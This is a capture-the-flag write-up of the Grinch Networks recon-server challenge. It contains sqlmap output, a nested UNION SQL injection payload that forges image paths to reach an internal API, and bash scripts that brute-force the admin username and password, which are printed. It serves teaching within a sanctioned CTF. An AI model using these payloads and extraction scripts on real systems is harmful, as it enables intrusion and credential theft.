Grinch-Networks CTF Writeup Flag 11
One of the craziest and wilds things I have ever seen in my hole live!
What should I say ... The Recon Server

It was hard for me to find a place to start and wrap up a 20 long hours of hacking and the feeling at the moment we captured flag. Let’s start with the functionality and the page source.
The Lading page is showing is some information about an “in development” API. Good. Let’s keep that in mind for later. The next sections looks like the index of some photo albums. By clicking on a specific album name the app will show pictures.

In the top right corner there is an “Attack Box” Button navigating to an Login Screen. There was an early hint that no bruteforcing is needed! So this is not an option in our case. Lets take a look on the page sources. Let’s start with the landing page:
<body>
<a href="/attack-box" class="btn btn-danger pull-right" style="margin:15px">Attack Box</a>
<div class="container" style="margin-top:20px">
<div class="text-center"><img src="/assets/images/grinch-networks.png" alt="Grinch Networks"></div>
<div class="row">
<div class="col-md-8 col-md-offset-2">
<h1 class="text-center">Grinch Recon</h1>
<div class="alert alert-warning text-center">
<p>We are currently developing an API, apologies for anything that doesn't work quite right</p>
</div>
<div class="panel panel-default" style="margin-top:10px">
<div class="panel-heading">Grinch Recon Albums</div>
<div class="panel-body" style="padding:0">
<div class="alert alert-success text-center" style="margin:10px">
<p>We've been tracking santa for the last few years trying to locate his secret workshop, here are our recon albums</p>
</div>
<table class="table" style="margin:0">
<tr>
<th class="text-center" style="width:180px">Photos</th>
<th>Album Name</th>
</tr>
<tr>
<td class="text-center">3</td>
<td><a href="/r3c0n_server_4fdk59/album?hash=jdh34k">Xmas 2020</a></td>
</tr>
<tr>
<td class="text-center">1</td>
<td><a href="/r3c0n_server_4fdk59/album?hash=59grop">Xmas 2019</a></td>
</tr>
<tr>
<td class="text-center">2</td>
<td><a href="/r3c0n_server_4fdk59/album?hash=3dir42">Xmas 2018</a></td>
</tr>
</div>
</div>
</div>
</div>
</div>
</body>
The most important part are the links into the albums of each year. The are identified by an 6 characters long random hash. Okay. So lets have a look on the page source of one of the album pages:
<body>
<div class="container" style="margin-top:20px">
<div class="text-center"><img src="/assets/images/grinch-networks.png" alt="Grinch Networks"></div>
<div class="row">
<div class="col-md-8 col-md-offset-2">
<h1 class="text-center">Xmas 2020</h1>
<div class="row">
<div class="col-md-4">
<img class="img-responsive" src="/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcL2RiNTA3YmRiMTg2ZDMzYTcxOWViMDQ1NjAzMDIwY2VjLmpwZyIsImF1dGgiOiJiYmYyOTVkNjg2YmQyYWYzNDZmY2Q4MGM1Mzk4ZGU5YSJ9">
</div>
<div class="col-md-4">
<img class="img-responsive" src="/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLzliODgxYWY4YjMyZmYwN2Y2ZGFhZGE5NWZmNzBkYzNhLmpwZyIsImF1dGgiOiJlOTM0ZjQ0MDdhOWRmOWZkMjcyY2RiOWMzOTdmNjczZiJ9">
</div>
<div class="col-md-4">
<img class="img-responsive" src="/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLzEzZDc0NTU0YzMwZTEwNjk3MTRhNWE5ZWRkYThjOTRkLmpwZyIsImF1dGgiOiI5NGZiMzk4ZDc4YjM2ZTdjMDc5ZTc1NjBjZTlkZjcyMSJ9">
</div>
</div>
</div>
</div>
</div>
</body>
The most important fact here is that the pictures are not directly embedded into the page. The picture source is somehow received from an special picture endpoint accepting an data parameter. Lets decode our JSON base64 encoded friend ey ;). (At this time everything was funny and shinny… )
eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLzEzZDc0NTU0YzMwZTEwNjk3MTRhNWE5ZWRkYThjOTRkLmpwZyIsImF1dGgiOiI5NGZiMzk4ZDc4YjM2ZTdjMDc5ZTc1NjBjZTlkZjcyMSJ9
{"image":"r3c0n_server_4fdk59\/uploads\/13d74554c30e1069714a5a9edda8c94d.jpg","auth":"94fb398d78b36e7c079e7560ce9df721"}
The JSON contains two parts. An image path as well as some sort of MD5 auth hash value. Trying to access the image or the upload folder send us Image cannot be viewed directly. So far so good. Lets try our good old index.php trick.
{"image":"r3c0n_server_4fdk59\/index.php","auth":"94fb398d78b36e7c079e7560ce9df721"}
Let’s encode with base64 and send it to the pictures endpoint:
eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTkvaW5kZXgucGhwIiwiYXV0aCI6Ijk0ZmIzOThkNzhiMzZlN2MwNzllNzU2MGNlOWRmNzIxIn0=
https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTkvaW5kZXgucGhwIiwiYXV0aCI6Ijk0ZmIzOThkNzhiMzZlN2MwNzllNzU2MGNlOWRmNzIxIn0=
The result was:
invalid authentication hash
Okay that means the application is somehow calculating the authentication hash based on the path we are sending along with the request. After checking the other pictures and requesting the pages several times I noticed that the auth-hash did not change. So it looks like there is no timestamp ore something like that used to hash. Maybe there is an API endpoint to help us. Let’s check the api.
The landing page told us there is an API under development. I have simply checked for /api and was successful:
https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/api/

More API endpoints can be found under /api/*. Great I thought trying a couple of endpoints manually could be worth. What about /hash or /pictures.
error "This endpoint cannot be visited from this IP address". What? Not from this IP address? Okay so lets try curl with a Host-Header injection:
curl -v -H "Host: localhost" https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/api/users
Same result.
error "This endpoint cannot be visited from this IP address"
I have tried to set different Headers with different values for about an hour… Without ANY success!
At this point I have spent almost 2 hours trying different things and understanding the basic logic of the application. I was quite sure there is something more to the base64 encoded data. The MD5 auth hash. There is a way to get it! For sure!
I have started digging into a complete rabbit hole for 4 hours! I have tried everything!
- guessing values of the hash
- removing slashes or replacing it with underscores
- guessing salts based on album hashes
- guessing salts based on album hashes in combination
- hashing MD5 into MD5
- hashing MD5 of Base64
- created some little PHP script to create a logic like for Digest auth MD5(MD5(value):valueMD5(value))
- Including HTTP Methods like GET, POST
- Including server IP
- Including PHP version
Long story short: 4h of cracking … No success
6 hours after I launched the challenge I felt some kind of lost. I kicked of dirb to check for some hidden files and folders and went out to get some fresh air.
Guess what - dirb was not successful. Nothing.
I have started downloading all Images from the albums extracting and inspecting EXFIL data and viewing or analyzing hexdups for the next 2 hours. NOTHING! NOTHING, NOTHING, NOTHING
After 8 hours in this challenge I was tiered on the first hand but angry enough not able to find the vulnerability to stay awake and find it!
I got a peace of paper and made some notes about the application logic and what I have tested so far! What was not tested, what have I missed. The only think I have not tested was the album endpoint.
Lets have a look on the album pages:
https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k
I was super tiered and unsure what to expect from the album endpoint so that I simply kicked of the following sqlmap command while stepping away from the keyboard to grep a fresh coffee (I believe it was number 12 / 13 within the last 12 hours).
slqmap -u https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k --dbs
[01:07:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: hash (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: hash=jdh34k' AND 2519=2519 AND 'ElRQ'='ElRQ
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: hash=-5293' UNION ALL SELECT NULL,NULL,CONCAT(0x7178786a71,0x796a5a76537671696149544e6857557047747662694473796c4c5a554e777442725a627941565857,0x7162787171)-- -
---
[01:07:22] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 8
[01:07:22] [INFO] fetching database names
[01:07:22] [INFO] resumed: 'information_schema'
[01:07:22] [INFO] resumed: 'recon'
available databases [2]:
[*] information_schema
[*] recon
We have a vulnerability! YES. YES YES YES!!! Short recap: At this point I have spent 9 hours working on that application. This finding was like a bright light at the end of dark tunnel. At this point it was not clear that this light is just a very very small door into the next very very very dark room!
Part 2 - We have a SQL Injection
I have started the tool jSQL to connect to the database and see what information we can get! I was quite exited it will show me username, password, albums, authentication hashes all the thing I need to get the flag.
The first message I was a little bit concerned about was this:
Database [recon] on MySQL [8.0.22-0ubuntu0.20.04.3] for user [recon_read@localhost]
I can not write anything to the database. Read only. Okay no problem, as long as there is a username and password just reading is fine. Go ahead.

Oh great. We have two full two tables. album and photo. IRONIC OFF!!!! No users table, no password.
The photos and albums table not even contain the authentication hash. That proves it is calculated server site! During runtime and not stored! That means there need to be a way to get it! Somehow.
I have checked the album endpoint and I had a feeling it is some sort of blind SQL Injection like in challenge 9. No actual data. Just guessing.
This request https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k%27%20AND%202519=2519%20AND%20%27ElRQ%27=%27ElRQ was successful. It returned the album page with pictures. Small changes to the query like this https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k%27%20AND%201=1 send an 404! That was our blindness factor. If the webserver send 200 OK the query was successful. If 404 the query failed. Good progress after 10 hours. I was super tiered and get an hour of sleep.
The Inception Hint
There was a hint on the channel showing a picture / scene of the movie Inception. So I have asked another hacker how important is the SQL Injection vulnerability and he simply answered! This is the only one you will find! Therefore I would say it is important.
So let’s focus on the SQLi as well as on the inception. Inception means something into something. I was just two tiered and lost to think clear and asked google about some nested sql injections.

The headline of the last article in the list was interesting.https://coderwall.com/p/dnf8sa/nested-sql-injections
Hopefully I can describe the feeling correct. I was sitting in my chair, tiered and somehow disappointed from that challenge scrolling through that article. The author was talking about UNION SELECTS in other UNION SELECTS because you need to modify the input of a second query with a manipulation of the first one blablabla… Wait… what? Read this slowly
If the result of the first query is used as an input in the second query, and the first query is vulnerable, we can use the output as a "input variable" into the second query itself. This would be useful in places where the second query has a better display method than the first one
Okay what if the query as I thought it not a join? What if the album query is number on and the pictures query is number 2? What if the second query is using the album_id as its input? Wait.. This makes totally sense. I was woken up! Focused on the SQLi and thought about the idea and tried to adapt the blog post to our example:
The author pointed out we have to manipulate the output of the first query that will be used in the second. As I had read access to the database I thought the output of the first query will be the album id. This id will be used in the second query as the where clause. Something like select * from photo where album_id = $album_id.
I have played around with different positions of the null but I was sure we have to match three columns each as we have three columns in the database and I just hoped the query will do a select * instead of specifying any fields.
The final result was this union:
UNION SELECT \"'UNION SELECT null,null,'abc'--+\",null,null--+
https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=x' UNION SELECT \"' UNION SELECT null,null,'abc'--+\",null,null--+
URL-Encoded
https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=x%27%20UNION%20SELECT%20%22%27%20UNION%20SELECT%20null,null,%27abc%27--+%22,null,null--+%22
At this point we wrapped up a team on discord and I talked with Max about thins finding:

So my chained UNION created the following album output:
<body>
<div class="container" style="margin-top:20px">
<div class="text-center"><img src="/assets/images/grinch-networks.png" alt="Grinch Networks"></div>
<div class="row">
<div class="col-md-8 col-md-offset-2">
<h1 class="text-center"></h1>
<div class="row">
<div class="col-md-4">
<img class="img-responsive" src="/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcL2FiYyIsImF1dGgiOiIxOTM5YzkzNjRmMWU3MjBmNDE3NzMyMzkxZDRmNjJjZiJ9">
</div>
</div>
</div>
</div>
</div>
</body>
The base64 encoded JSON for the picture endpoint was:
"{\"image\":\"r3c0n_server_4fdk59\\/uploads\\/abc\",\"auth\":\"1939c9364f1e720f417732391d4f62cf\"}"
YES!!!! I was able to change the image path with my UNION SELECT!!!!
At this point I have spent 15 hours non stop hacking on this challenge. This was the time we forced our “#grincharmy” and made the run to the flag!
The last 5 hours
On Discord we agreed that this is the time were we should call our hidden or blocked API. I have created a shell scripted shared with my team mates to fuzz potential API endpoints. This was my script version 1 without the parameter list.
#! /bin/bash
set -ex
HOST="https://hackyholidays.h1ctf.com"
URI="/r3c0n_server_4fdk59/album?hash=x"
B64=$(curl -gsi "$HOST$URI' UNION SELECT \"' UNION SELECT null,null,'$1'--+\",null,null--+" | sed -n '/<img class="img-responsive"/s/.*src="\([^"]*\)".*/\1/p')
echo "Calling... $B64"
curl -gsi $HOST$B64
This was the modified version using parameters as well as a input value.
#! /bin/bash
#set -ex
HOST="https://hackyholidays.h1ctf.com"
URI="/r3c0n_server_4fdk59/album?hash=x"
while read params; do
B64=$(curl -s "$HOST$URI' UNION SELECT \"' UNION SELECT null,null,'$1?$params=admin'--+\",null,null--+" | sed -n '/<img class="img-responsive"/s/.*src="\([^"]*\)".*/\1/p')
echo "[+] Param --> " $params
curl -s $HOST$B64
done < params.txt
With this script we have automated the querying of the API.
Endpoints we were able to discover:
/ping /user
We played a little bit around with ping and user and got stuck for another hour with the responses of the second curl request in the script.
Sometimes it was telling us Expected HTTP status 200, Received: 404, Another time Expected HTTP status 200, Received: 204.
tippexs@kali:~/tools$ ./11_3.sh user?username
+ HOST=https://hackyholidays.h1ctf.com
+ URI='/r3c0n_server_4fdk59/album?hash='
++ sed -n '/<img class="img-responsive"/s/.*src="\([^"]*\)".*/\1/p'
++ curl -gsi 'https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=?hash=-4685%27%20UNION%20SELECT%20%22%27%20UNION%20SELECT%20null,null,%27../api/user?username%27--+%22,null,null--+%22'
+ B64='/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3VzZXI/dXNlcm5hbWUiLCJhdXRoIjoiODE5NmRkMzE3NWRiODMxOWYzODgwOTUyNmMyMjgyMTgifQ=='
+ echo 'Calling... /r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3VzZXI/dXNlcm5hbWUiLCJhdXRoIjoiODE5NmRkMzE3NWRiODMxOWYzODgwOTUyNmMyMjgyMTgifQ== for \n'
Calling... /r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3VzZXI/dXNlcm5hbWUiLCJhdXRoIjoiODE5NmRkMzE3NWRiODMxOWYzODgwOTUyNmMyMjgyMTgifQ== for \n
+ curl -sig 'https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3VzZXI/dXNlcm5hbWUiLCJhdXRoIjoiODE5NmRkMzE3NWRiODMxOWYzODgwOTUyNmMyMjgyMTgifQ=='
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 28 Dec 2020 00:59:25 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Expected HTTP status 200, Received: 204
Remember the HTTP Status codes from the early challenges? With those codes the webserver will tell us something. In combination with the API documentation we have 204 means the request was successful but no data found! So lets try another one to prove we are understanding the responses correctly.
tippexs@kali:~/tools$ ./11_3.sh user?user
+ HOST=https://hackyholidays.h1ctf.com
+ URI='/r3c0n_server_4fdk59/album?hash='
++ sed -n '/<img class="img-responsive"/s/.*src="\([^"]*\)".*/\1/p'
++ curl -gsi 'https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=?hash=-4685%27%20UNION%20SELECT%20%22%27%20UNION%20SELECT%20null,null,%27../api/user?user%27--+%22,null,null--+%22'
+ B64='/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3VzZXI/dXNlciIsImF1dGgiOiJmMTQxZWQzNDI0ZWY3ZGIxNjEwNzU1NDdmZmQ2Y2EzOSJ9'
+ echo 'Calling... /r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3VzZXI/dXNlciIsImF1dGgiOiJmMTQxZWQzNDI0ZWY3ZGIxNjEwNzU1NDdmZmQ2Y2EzOSJ9 for \n'
Calling... /r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3VzZXI/dXNlciIsImF1dGgiOiJmMTQxZWQzNDI0ZWY3ZGIxNjEwNzU1NDdmZmQ2Y2EzOSJ9 for \n
+ curl -sig 'https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3VzZXI/dXNlciIsImF1dGgiOiJmMTQxZWQzNDI0ZWY3ZGIxNjEwNzU1NDdmZmQ2Y2EzOSJ9'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 28 Dec 2020 00:57:18 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Expected HTTP status 200, Received: 400
400 Bad Request or Missing Parameter! Great. That means our idea with /user?username=something was correct. We have tried the same for password with the same result:
tippexs@kali:~/tools$ ./11_3.sh user?username
+ HOST=https://hackyholidays.h1ctf.com
+ URI='/r3c0n_server_4fdk59/album?hash='
++ sed -n '/<img class="img-responsive"/s/.*src="\([^"]*\)".*/\1/p'
++ curl -gsi 'https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=?hash=-4685%27%20UNION%20SELECT%20%22%27%20UNION%20SELECT%20null,null,%27../api/user?password%27--+%22,null,null--+%22'
+ B64='/r3c0n_server_4fdk59/picture?data=yJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3VzZXI/cGFzc3dvcmQiLCJhdXRoIjoiZWIxMzUyMDExN2ZmMjVmNjk1ZDk5NWFmMjAxMmNmYTMifQ=='
+ echo 'Calling... /r3c0n_server_4fdk59/picture?data=yJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3VzZXI/cGFzc3dvcmQiLCJhdXRoIjoiZWIxMzUyMDExN2ZmMjVmNjk1ZDk5NWFmMjAxMmNmYTMifQ== for \n'
Calling... /r3c0n_server_4fdk59/picture?data=yJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3VzZXI/cGFzc3dvcmQiLCJhdXRoIjoiZWIxMzUyMDExN2ZmMjVmNjk1ZDk5NWFmMjAxMmNmYTMifQ== for \n
+ curl -sig 'https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=yJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3VzZXI/cGFzc3dvcmQiLCJhdXRoIjoiZWIxMzUyMDExN2ZmMjVmNjk1ZDk5NWFmMjAxMmNmYTMifQ=='
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 28 Dec 2020 00:59:25 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Expected HTTP status 200, Received: 204
I have changed my script to loop over the ASCII Chars 33 to 126 instead of using a staci word-list like in challenge 9.
set -ex
for i in {33..123}
do
printf -v CHAR "\x$(printf %x $i)"
HOST="https://hackyholidays.h1ctf.com"
URI="/r3c0n_server_4fdk59/album?hash="
#B64=$(curl -gsi "$HOST$URI?hash=-4685%27%20UNION%20SELECT%20%22%27%20UNION%20SELECT%20null,null,%27../api/user?username=$CHAR%25%27--+%22,null,null--+%22" | sed -n '/<img class="img-responsive"/s/.*src="\([^"]*\)".*/\1/p')
B64=$(curl -gsi "$HOST$URI?hash=-4685%27%20UNION%20SELECT%20%22%27%20UNION%20SELECT%20null,null,%27../api/$1%27--+%22,null,null--+%22" | sed -n '/<img class="img-responsive"/s/.*src="\([^"]*\)".*/\1/p')
echo "Calling... $B64 for $CHAR\n"
curl -sig $HOST$B64
done
The second curl command in this script is calling the picture endpoint with the base64 encoded JSON. For the username it was
https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC9hcGlcL3VzZXI/dXNlcm5hbWU9ZyUiLCJhdXRoIjoiZThiN2EwNWFiMDRmM2MxMTY1Yzc5ZDA4ZDMzMTE2OWEifQ==
We got a little bit stuck with the error message of Invalid content type detected. We discussed this in the team and after 20 minutes or so somebody raised the hand and asked a simple question:
“What kind of SQL Injection is it?” This was the final push! Yes it a blind SQL Injection. So as long as the server return 200 as for the second curl we are good and moved on!
Anytime the script returned 200 we changed the script and added the values char by char. Finally the username was grinchadmin
https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=x%27%20UNION%20SELECT%20%22%27%20UNION%20SELECT%20null,null,%27../api/user?username=grinchadmin%25%27--+%22,null,null--+%22
The password was a little bit more interesting.
The first run of the script returned s4nt4s___s. Looks like _is some sort of placeholder in mysql:
https://stackoverflow.com/questions/22167132/mysql-like-query-with-underscore
We have escaped the special characters and executed the script again. This time it was hopping over the first _ and printed u. The final result was:
curl -s https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=x%27%20UNION%20SELECT%20%22%27%20UNION%20SELECT%20null,null,%27../api/user?password=s4nt4sucks%25%27--+%22,null,null--+%22
s4nt4sucks
The Login-Data
User: grinchadmin
Password: s4nt4sucks

If you ask me now after a couple of days what I think about this challenge. I think it is a good question. This write-up is so different from all others in this blog. All 7 team members spent almost 24 hours in front of the screen trying to get this flag! At the end we solved the challenge as a team. A team of individuals from around the world. Not knowing each other. We had one goal and we finally got the flag! This moment was just to good to describe.
I have learned many new things in this challenge. Spending 4 or 5 hours cracking MD5 hashes without even checking for the SQLi at the albums endpoint was wrong! I got distracted from my path discovering everything first before digging into the rabbit hole. This is something I will remember for all the upcoming challenges.
After a short break of just 4 hours we rejoined as the #Grincharmy and started the run for the final flag! Enjoy the last Challenge 12